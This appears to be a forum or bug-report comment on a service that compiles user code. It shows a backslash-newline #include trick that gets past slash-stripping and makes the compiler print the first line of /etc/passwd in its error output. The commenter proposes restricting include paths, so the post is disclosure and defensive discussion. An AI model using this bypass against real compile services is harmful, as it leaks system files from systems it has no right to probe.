Still some workarounds to the slash-stripping:

  #include "\
  /etc/passwd"

  program221/code.cpp:1:11: warning: backslash-newline at end of file
      1 | #include "\
        |            
  In file included from program221/code.cpp:2:
  /etc/passwd:1:5: error: found ':' in nested-name-specifier, expected '::'
      1 | root:x:0:0:root:/root:/bin/bash
        |     ^
        |     ::
  /etc/passwd:1:1: error: 'root' does not name a type
      1 | root:x:0:0:root:/root:/bin/bash
        | ^~~~

Is it possible to restrict the compiler's access to only files in "/usr/include" instead? Seems like it'd be hard to cover every case with just pattern matching.